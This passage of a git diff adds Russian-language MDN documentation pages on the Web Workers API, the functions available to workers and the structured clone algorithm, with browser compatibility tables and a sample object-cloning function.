+   <td>Provides access to the browser's debugging console (e.g., the <a href="/en-US/docs/Tools/Web_Console">Web Console</a> in Firefox). The specifics of how it works vary from browser to browser, but there is a <em>de facto</em> set of features that are typically provided.</td>
+   <td>{{ CompatGeckoDesktop(38)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{domxref("CustomEvent")}}</span></td>
+   <td>The <strong><code>CustomEvent</code></strong> interface represents events initialized by an application for any purpose.</td>
+   <td>{{ CompatGeckoDesktop(48)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Data_Store_API", "Data Store")}}</td>
+   <td>A powerful, flexible storage mechanism for multiple Firefox OS applications to use to store and share data between one another quickly, efficiently, and securely.</td>
+   <td>Only in Firefox OS internal (certified) applications, since v1.0.1.</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("DOMRequest")}} and {{domxref("DOMCursor")}}</td>
+   <td>Respectively, these objects represents an ongoing operation (with listeners for reacting to the operation completely successfully, or failing, for example), and an ongoing operation over a list of results.</td>
+   <td>{{ CompatGeckoDesktop(41)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Fetch_API", "Fetch")}}</td>
+   <td>The Fetch spec provides an up-to-date definition of, and API for, fetching resources (e.g. across the network.)</td>
+   <td>Mostly in {{ CompatGeckoDesktop(34)}} behind pref, although a few features are later.</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatChrome(42) }}<br>
+    {{ CompatChrome(41) }} behind pref</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("FileReader")}}</td>
+   <td>This API allows asynchronous read of {{domxref("Blob")}} and {{domxref("File")}} objects.</td>
+   <td>{{CompatGeckoDesktop(46)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("FileReaderSync")}}</td>
+   <td>This API allows synchronous read of {{domxref("Blob")}} and {{domxref("File")}} objects. This is an API that works only in workers.</td>
+   <td>{{CompatGeckoDesktop(8)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("FormData")}}</td>
+   <td><code>FormData</code> objects provide a way to easily construct a set of key/value pairs representing form fields and their values, which can then be easily sent using the XMLHttpRequest <a href="/en-US/docs/DOM/XMLHttpRequest#send()" title="XMLHttpRequest#send()"><code>send()</code></a> method.</td>
+   <td>{{CompatUnknown}} (should be in {{CompatGeckoDesktop(39)}})</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("ImageData")}}</td>
+   <td>The underlying pixel data of an area of a {{domxref("canvas")}} element. Manipulating such data can be a complex task better suited to be delegated to a Web Worker.</td>
+   <td>{{CompatGeckoDesktop(25)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("IndexedDB_API", "IndexedDB")}}</td>
+   <td>Database to store records holding simple values and hierarchical objects.</td>
+   <td>{{CompatGeckoDesktop(37)}},  {{CompatGeckoDesktop(42)}} for {{domxref("IDBCursorWithValue")}}.</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Notifications_API", "Notifications")}}</td>
+   <td>Allows web pages to control the display of system notifications to the end user</td>
+   <td>{{CompatGeckoDesktop(41)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Performance")}}</td>
+   <td>The <strong><code>Performance</code></strong> interface represents timing-related performance information for the given page.</td>
+   <td>{{ CompatGeckoDesktop("34.0") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatChrome("33.0") }}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Promise")}}</td>
+   <td>JavaScript objects that allow you to write asynchronous functions.</td>
+   <td>{{CompatGeckoDesktop(28)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("ServiceWorkerRegistration")}}</td>
+   <td>You can register a service worker from inside a standard worker, and use associated functionality.</td>
+   <td>{{CompatGeckoDesktop(40)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("TextEncoder")}} and {{domxref("TextDecoder")}}</td>
+   <td>Create and return a new {{domxref("TextEncoder")}}, or respectively {{domxref("TextDecoder")}}, allowing to encode or decode strings into specific encodings.</td>
+   <td>{{CompatGeckoDesktop(20)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{ domxref("URL") }}</td>
+   <td>Workers can use the static methods <a href="/en-US/docs/DOM/window.URL.createObjectURL" title="/en-US/docs/DOM/window.URL.createObjectURL">URL.createObjectURL</a> and <a href="/en-US/docs/DOM/window.URL.revokeObjectURL" title="/en-US/docs/DOM/window.URL.revokeObjectURL">URL.revokeObjectURL</a> with {{domxref("Blob")}} objects accesible to the worker.<br>
+    Workers can also create a new URL using the {{domxref("URL.URL", "URL()")}} constructor and call any normal method on the returned object.</td>
+   <td>{{CompatGeckoDesktop(21)}} and {{CompatGeckoDesktop(26)}} for URL() constructor</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/WebGL_API">WebGL</a> with {{domxref("OffscreenCanvas")}}</td>
+   <td>WebGL (Web Graphics Library) is a JavaScript API for rendering interactive 3D and 2D graphics within any compatible web browser without the use of plug-ins.</td>
+   <td>{{CompatGeckoDesktop(44)}} behind a feature preference setting. In <code>about:config</code>, set <code>gfx.offscreencanvas.enabled</code> to true.</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WebSocket")}}</td>
+   <td>Creates and returns a new {{domxref("WebSocket")}}  object; this mimics the behavior of the standard <code>WebSocket()</code> constructor.</td>
+   <td>{{CompatGeckoDesktop(37)}}</td>
+   <td>11.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Worker")}}</td>
+   <td>Creates a new {{ domxref("Worker") }}. Yes, workers can spawn more workers.</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>10.0</td>
+   <td>{{CompatNo}} See <a class="external" href="https://code.google.com/p/chromium/issues/detail?id=31666" rel="external" title="http://code.google.com/p/chromium/issues/detail?id=31666">crbug.com/31666</a></td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WorkerGlobalScope")}}</td>
+   <td>The global scope of workers. This objects defines <a href="#workerscope">worker-specific functions</a>.</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WorkerLocation")}}</td>
+   <td>The subset of the {{domxref("Location")}} interface available to workers.</td>
+   <td>{{CompatGeckoDesktop(1.9.2)}}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WorkerNavigator")}}</td>
+   <td>The subset of the {{domxref("Navigator")}} interface available to workers.</td>
+   <td>Basic implementation {{CompatVersionUnknown}}<br>
+    {{domxref("NavigatorID.appCodeName", "appCodeName")}}, {{domxref("NavigatorID.product", "product")}}, {{domxref("NavigatorID.taintEnabled", "taintEnabled()")}}: {{CompatGeckoDesktop(28)}}<br>
+    {{domxref("WorkerNavigator.onLine", "onLine")}}: {{CompatGeckoDesktop(29)}}<br>
+    {{domxref("NavigatorLanguage")}}: {{CompatVersionUnknown}}</td>
+   <td>{{domxref("NavigatorID.appName", "appName")}}, {{domxref("NavigatorID.appVersion", "appVersion")}}, {{domxref("WorkerNavigator.onLine", "onLine")}}, {{domxref("NavigatorID.platform", "platform")}}, {{domxref("NavigatorID.userAgent", "userAgent")}}: 10.0<br>
+    Other: {{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("XMLHttpRequest")}}</td>
+   <td>Creates and returns a new {{domxref("XMLHttpRequest")}}  object; this mimics the behavior of the standard <code>XMLHttpRequest()</code> constructor. Note that the <code>responseXML</code> and <code>channel</code> attributes on <code>XMLHttpRequest</code> always return <code>null</code>.</td>
+   <td>
+    <p>Basic: {{CompatGeckoDesktop("1.9.1")}}</p>
+
+    <p>{{domxref("XMLHttpRequest.response", "response")}} and {{domxref("XMLHttpRequest.responseType", "responseType")}} are available since {{CompatGeckoDesktop("10")}}</p>
+
+    <p>{{domxref("XMLHttpRequest.timeout", "timeout")}} and {{domxref("XMLHttpRequest.ontimeout", "ontimeout")}} are available since {{CompatGeckoDesktop("13")}}</p>
+   </td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Using web workers</a></li>
+ <li>{{domxref("Worker")}}</li>
+</ul>
diff --git a/files/ru/web/api/web_workers_api/index.html b/files/ru/web/api/web_workers_api/index.html
new file mode 100644
index 0000000000..706dab35cb
--- /dev/null
+++ b/files/ru/web/api/web_workers_api/index.html
@@ -0,0 +1,223 @@
+---
+title: Web Workers API
+slug: Web/API/Web_Workers_API
+tags:
+  - API
+  - NeedsTranslation
+  - Service Workers
+  - Shared Workers
+  - TopicStub
+  - Web Workers
+  - Workers
+translation_of: Web/API/Web_Workers_API
+---
+<p>{{DefaultAPISidebar("Web Workers API")}}</p>
+
+<p class="summary"><strong>Web Workers</strong> это механизм, который позволяет скрипту выполняться в фоновом потоке, который отделен от основного потока веб-приложения. <span id="result_box" lang="ru"><span>Преимущество заключается в том, ресурсоёмкие вычисления могут выполняться в отдельном потоке, позволяя запустить основной (обычно пользовательский) поток без блокировки и замедления</span></span>.</p>
+
+<h2 id="Концепции_и_использование_Web_воркеров">Концепции и использование Web воркеров</h2>
+
+<p>Worker (работник, воркер)  - это объект созданный при помощи конструктора (например, {{domxref("Worker.Worker", "Worker()")}}), <span id="result_box" lang="ru"><span>который запускает именованный файл JavaScript - этот файл содержит код, который будет запускаться в потоке воркера;</span></span> воркеры запускаются в другом глобальном контексте отличном от текущего контекста {{domxref("window")}}. Этот контекст представлен объектом {{domxref("DedicatedWorkerGlobalScope")}} <span id="result_box" lang="ru"><span>в случае специализированных воркеров (стандартные воркеры, которые используются одним скриптом, общие воркеры используют</span></span> {{domxref("SharedWorkerGlobalScope")}}).</p>
+
+<p><span id="result_box" lang="ru"><span>Вы можете запустить любой код, который вам нравится внутри потока воркера, за некоторыми исключениями.</span> <span>Например, вы не можете напрямую манипулировать DOM внутри воркера или использовать некоторые методы и свойства по умолчанию</span></span> объекта {{domxref("window")}}. <span id="result_box" lang="ru"><span>Но вы можете использовать большое количество свойств и методов, доступных в</span></span> <code>window</code>, включая <a href="/en-US/docs/WebSockets">WebSockets</a>, и механизм хранения данных такой, как <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> или <a href="/en-US/docs/Web/API/Data_Store_API">Data Store API,</a> который доступен только в ОС Firefox. За дополнительной информацией смотрите <a href="/en-US/docs/Web/API/Worker/Functions_and_classes_available_to_workers">Функции и классы доступные воркерам.</a></p>
+
+<p><span id="result_box" lang="ru"><span>Данные отправляются между потоком воркера и основным потоком через систему сообщений - обе стороны отправляют свои сообщения с помощью метода <code>postMessage ()</code> и отвечают на сообщения через обработчик события <code>onmessage</code> (сообщение содержится в атрибуте данных события </span></span> {{event("Message")}}. Данные копируются, а не используются совместно.</p>
+
+<p>Воркеры<span id="result_box" lang="ru"><span> могут, в свою очередь, создавать новых воркеров, в этом случае они должны иметь одно и то же происхождение - родительскую страницу.</span> <span>Кроме того, воркеры могут использовать </span></span><a class="internal" href="/en-US/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code></a><span lang="ru"><span> для сетевого ввода-вывода, за исключением того, что атрибуты <code>responseXML</code> и <code>channel </code>на XMLHttpRequest всегда возвращают значение <code>null</code>.</span></span></p>
+
+<p><span id="result_box" lang="ru"><span>В дополнение к специализированным существуют и другие виды воркеров:</span></span></p>
+
+<ul>
+ <li>Совместные воркеры<span id="result_box" lang="ru"><span> - это воркеры, которые могут использоваться несколькими скриптами совместно, работающими в разных окнах, IFrames и т.д. в пределах одного домена, что и воркер.</span> <span>Они немного сложнее, чем специализированные воркеры - скрипты должны связываться через активный порт.</span> <span>Подробнее см. {{domxref("SharedWorker")}}.</span></span></li>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorkers</a> <span id="result_box" lang="ru"><span>по сути действуют как прокси-серверы, которые находятся между веб-приложениями, а также браузером и сетью (если доступны).</span> Помимо прочего о<span>ни предназначены для создания эффективного автономного взаимодействия, перехвата сетевых запросов и принятия соответствующих мер на основе доступности сети и обновления данных на сервере.</span> <span>Они также позволят доступ к push-уведомлениям и API-интерфейсам фоновой синхронизации.</span></span></li>
+ <li>Воркеры в Chrome - это воркеры специального типа Firefox<span id="result_box" lang="ru"><span>, которые вы можете использовать, если вы разрабатываете надстройки и хотите использовать воркеры в расширениях и иметь доступ к js-ctypes в вашем воркере</span></span>. Смотрите также {{domxref("ChromeWorker")}}. </li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API#Audio_Workers">Audio Workers</a>(аудио воркеры) <span id="result_box" lang="ru"><span>обеспечивают возможность прямой обработки аудиозаписей в рамках веб-контекста воркера.</span></span></li>
+</ul>
+
+<div class="note">
+<p><span style="font-size: 14px; line-height: 21px;"><strong>Замечание</strong></span>: В соответствии с <a href="https://html.spec.whatwg.org/multipage/workers.html#runtime-script-errors-2">Web workers Spec</a>, события ошибок воркеров не должны "всплывать" (смотрите  {{bug(1188141)}}. Такое поведение было реализовано в Firefox 42.</p>
+</div>
+
+<h2 id="Интерфейсы_Web_воркера">Интерфейсы Web воркера</h2>
+
+<dl>
+ <dt>{{domxref("AbstractWorker")}}</dt>
+ <dd>Абстрактные свойства и методы общие для всех типов воркеров (т.е. {{domxref("Worker")}} или {{domxref("SharedWorker")}}).</dd>
+ <dt>{{domxref("Worker")}}</dt>
+ <dd><span id="result_box" lang="ru"><span>Представляет поток исполнения воркера, позволяющий передавать сообщения текущему коду воркера.</span></span></dd>
+ <dt>{{domxref("SharedWorker")}}</dt>
+ <dd><span id="result_box" lang="ru"><span>Представляет конкретный вид воркера, к которому можно получить доступ из нескольких контекстов, будь то несколько окон, iframe или даже воркеров.</span></span></dd>
+ <dt>{{domxref("WorkerGlobalScope")}}</dt>
+ <dd>Represents the generic scope of any worker (doing the same job as {{domxref("Window")}} does for normal web content). Different types of worker have scope objects that inherit from this interface and add more specific features.</dd>
+ <dt>{{domxref("DedicatedWorkerGlobalScope")}}</dt>
+ <dd>Represents the scope of a dedicated worker, inheriting from {{domxref("WorkerGlobalScope")}} and adding some dedicated features.</dd>
+ <dt>{{domxref("SharedWorkerGlobalScope")}}</dt>
+ <dd>Represents the scope of a shared worker, inheriting from {{domxref("WorkerGlobalScope")}} and adding some dedicated features.</dd>
+ <dt>{{domxref("WorkerNavigator")}}</dt>
+ <dd><span id="result_box" lang="ru"><span>Представляет идентификатор и состояние пользовательского агента (клиента)</span></span>.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Мы создали пару простых демонстрационных программ чтобы показать основы использования:</p>
+
+<ul>
+ <li><a href="https://github.com/mdn/simple-web-worker">Базовый пример отдельного воркера</a> (<a href="http://mdn.github.io/simple-web-worker/">запускает отдельного воркера</a>).</li>
+ <li><a href="https://github.com/mdn/simple-shared-worker">Базовый пример разделяемого воркера</a> (<a href="http://mdn.github.io/simple-shared-worker/">запускает разделяемого воркера</a>).</li>
+</ul>
+
+<p>Больше информации о том, как работают эти демонстрационные программы, вы можете найти в статье <a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Использование Web воркеров</a>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#toc-workers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Не отличается от {{SpecName("Web Workers")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Workers')}}</td>
+   <td>{{Spec2('Web Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>4</td>
+   <td>{{CompatGeckoDesktop(1.9.1)}}</td>
+   <td>10.0</td>
+   <td>10.6</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Разделяемые воркеры</td>
+   <td>4</td>
+   <td>{{CompatGeckoDesktop(29)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.6</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Передача данных через использование структурного клонирования</td>
+   <td>13</td>
+   <td>{{CompatGeckoDesktop(8)}}</td>
+   <td>10.0</td>
+   <td>11.5</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Передача данных с использованием передаваемых объектов</td>
+   <td>17 {{property_prefix("webkit")}}<br>
+    21</td>
+   <td>{{CompatGeckoDesktop(18)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Глобальный {{domxref("window.URL", "URL")}}</td>
+   <td>10<sup>[1]</sup><br>
+    23</td>
+   <td>{{CompatGeckoDesktop(21)}}</td>
+   <td>11</td>
+   <td>15</td>
+   <td>6<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>4.4</td>
+   <td>4</td>
+   <td>{{CompatGeckoMobile(1.9.1)}}</td>
+   <td>1.0.1</td>
+   <td>10.0</td>
+   <td>11.5</td>
+   <td>5.1</td>
+  </tr>
+  <tr>
+   <td>Разделяемые воркеры</td>
+   <td>{{CompatNo}}</td>
+   <td>4</td>
+   <td>29</td>
+   <td>1.4</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Передача данных через использование структурного клонирования</td>
+   <td>{{CompatNo}}</td>
+   <td>4</td>
+   <td>8</td>
+   <td>1.0.1</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Передача данных с использованием передаваемых объектов</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>18</td>
+   <td>1.0.1</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Как <code>webkitURL</code>.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/basic_usage">Использование Web воркеров</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker">Worker Interface</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/SharedWorker">Интерфейс SharedWorker</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/API/Worker/Functions_and_classes_available_to_workers">Функции и классы доступные воркерам</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/Advanced_concepts_and_examples">Продвинутые конфепции и примеры</a></li>
+ <li><a href="/en-US/docs/Web/API/ChromeWorker">ChromeWorker</a>: для использования воркеров в привелегированном/chrome коде</li>
+</ul>
diff --git a/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html b/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html
new file mode 100644
index 0000000000..883d5d3122
--- /dev/null
+++ b/files/ru/web/api/web_workers_api/structured_clone_algorithm/index.html
@@ -0,0 +1,153 @@
+---
+title: Алгоритм структурированного клонирования
+slug: Web/API/Web_Workers_API/Structured_clone_algorithm
+translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm
+---
+<p>Алгоритм структурированного клонирования — это новый алгоритм, <a class="external" href="http://www.w3.org/html/wg/drafts/html/master/infrastructure.html#safe-passing-of-structured-data" title="http://www.w3.org/TR/html5/common-dom-interfaces.html#safe-passing-of-structured-data">определенный спецификацией HTML5</a> для сериализации комплексных JavaScript объектов. Он более функционален, чем <a href="/en/JSON" title="en/JSON">JSON</a> в том что способен поддерживать сериализацию объектов содержащих циклические графы — первичные объекты, которые ссылаются на другие объекты у которых есть ссылка на первичные объекты в том же графе. В дополнение, в некоторых других случаях алгоритм структурированного клонирования может быть более эффективен, чем JSON.</p>
+
+<p>Аглоритм, по существу, перебирает все поля оригинального объекта, дублируя значения каждого поля в новый объект. Если поле представляет из себя объект с собственными полями, то эти дочерние поля также перебираются рекурсивно, пока каждое поле и все дочерние поля не будут продублированы в новый объект.</p>
+
+<h2 id="Преимущества_перед_JSON">Преимущества перед JSON</h2>
+
+<p>Вот основные преимущества структурированного клонирования перед JSON:</p>
+
+<ul>
+ <li>Структурированные клоны могут копировать <a href="/en/JavaScript/Reference/Global_Objects/RegExp" title="en/JavaScript/Reference/Global Objects/regexp"><code>RegExp</code></a> объекты.</li>
+ <li>Структурированные клоны могут копировать {{ domxref("Blob") }}, {{ domxref("File") }}, и {{ domxref("FileList") }} объекты.</li>
+ <li>Структурированные клоны могут копировать {{ domxref("ImageData") }} объекты. The dimensions of the clone's {{ domxref("CanvasPixelArray") }} will match the original and have a duplicate of the same pixel data.</li>
+ <li>Structured clones can correctly duplicate objects containing cyclic graphs of references.</li>
+</ul>
+
+<h2 id="Исключения_не_работающие_со_структурированными_клонами">Исключения, не работающие со структурированными клонами</h2>
+
+<ul>
+ <li><a href="/en/JavaScript/Reference/Global_Objects/Error" title="en/JavaScript/Reference/Global Objects/Error"><code>Error</code></a> and <a href="/en/JavaScript/Reference/Global_Objects/Function" title="en/JavaScript/Reference/Global Objects/Function"><code>Function</code></a> objects cannot be duplicated by the structured clone algorithm; attempting to do so will throw a <code>DATA_CLONE_ERR</code> exception.</li>
+ <li>Attempting to clone DOM nodes will likewise throw a <code>DATA_CLONE_ERR</code> exception.</li>
+ <li>Certain parameters of objects are not preserved:
+  <ul>
+   <li>The <code>lastIndex</code> field of <a href="/en/JavaScript/Reference/Global_Objects/RegExp" title="en/JavaScript/Reference/Global Objects/regexp"><code>RegExp</code></a> objects is not preserved.</li>
+   <li>Property descriptors, setters, and getters (as well as similar metadata-like features) are not duplicated. For example, if an object is marked read-only using a property descriptor, it will be read-write in the duplicate, since that's the default condition.</li>
+   <li>The prototype chain does not get walked and duplicated.</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Поддерживаемые_типы">Поддерживаемые типы</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Object type</th>
+   <th scope="col">Notes</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Data_structures#Primitive_values">All primitive types</a></td>
+   <td>However not symbols</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean">Boolean</a> object</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>String object</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">Date</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp">RegExp</a></td>
+   <td>The <code>lastIndex</code> field is not preserved.</td>
+  </tr>
+  <tr>
+   <td>{{ domxref("Blob") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{ domxref("File") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{ domxref("FileList") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/ArrayBuffer">ArrayBuffer</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/API/ArrayBufferView">ArrayBufferView</a></td>
+   <td>This basically means all <a href="/en-US/docs/Web/JavaScript/Typed_arrays">typed arrays</a> like Int32Array etc.</td>
+  </tr>
+  <tr>
+   <td>{{ domxref("ImageData") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a></td>
+   <td>This just includes plain objects (e.g. from object literals)</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map">Map</a></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set">Set</a></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Другой_вариант_вложенное_копирование‎">Другой вариант: вложенное копирование‎</h2>
+
+<p>Если вы хотите сделать вложенную копию объекта (т.е рекурсивно копировать все вложенные свойства, проходя по прототипной цепи),  вы должны использовать другой подход. Ниже приведен возможный пример.</p>
+
+<pre class="brush: js">function clone(objectToBeCloned) {
+  // Basis.
+  if (!(objectToBeCloned instanceof Object)) {
+    return objectToBeCloned;
+  }
+
+  var objectClone;
+
+  // Filter out special objects.
+  var Constructor = objectToBeCloned.constructor;
+  switch (Constructor) {
+    // Implement other special objects here.
+    case RegExp:
+      objectClone = new Constructor(objectToBeCloned);
+      break;
+    case Date:
+      objectClone = new Constructor(objectToBeCloned.getTime());
+      break;
+    default:
+      objectClone = new Constructor();
+  }
+
+  // Clone each property.
+  for (var prop in objectToBeCloned) {
+    objectClone[prop] = clone(objectToBeCloned[prop]);
+  }
+
+  return objectClone;
+}
+</pre>
+
+<div class="note"><strong>  Note:</strong> Этот алгоритм  реализован  только для  <a href="/en/JavaScript/Reference/Global_Objects/RegExp" title="RegExp"><code>RegExp</code></a>, <a href="/en/JavaScript/Reference/Global_Objects/Array" title="Array"><code>Array</code></a>, и <a href="/en/JavaScript/Reference/Global_Objects/Date" title="Date"><code>Date</code></a> специальных объектов. Вы можете реализовать другие условия, удовлетворяющие вашим потребностям.</div>
+
+<h2 id="Еще_по_теме">Еще по теме</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/html5/infrastructure.html#safe-passing-of-structured-data" title="http://www.w3.org/TR/html5/common-dom-interfaces.html#safe-passing-of-structured-data">HTML5 Specification: Safe passing of structured data</a></li>
+ <li>{{ domxref("window.history") }}</li>
+ <li>{{ domxref("window.postMessage()") }}</li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a></li>
+ <li><a href="/en-US/docs/Components.utils.cloneInto">Components.utils.cloneInto</a></li>
+</ul>
diff --git a/files/ru/web/api/webfm_api/index.html b/files/ru/web/api/webfm_api/index.html
new file mode 100644
index 0000000000..11727674af
--- /dev/null
+++ b/files/ru/web/api/webfm_api/index.html
@@ -0,0 +1,156 @@
+---
+title: WebFM API
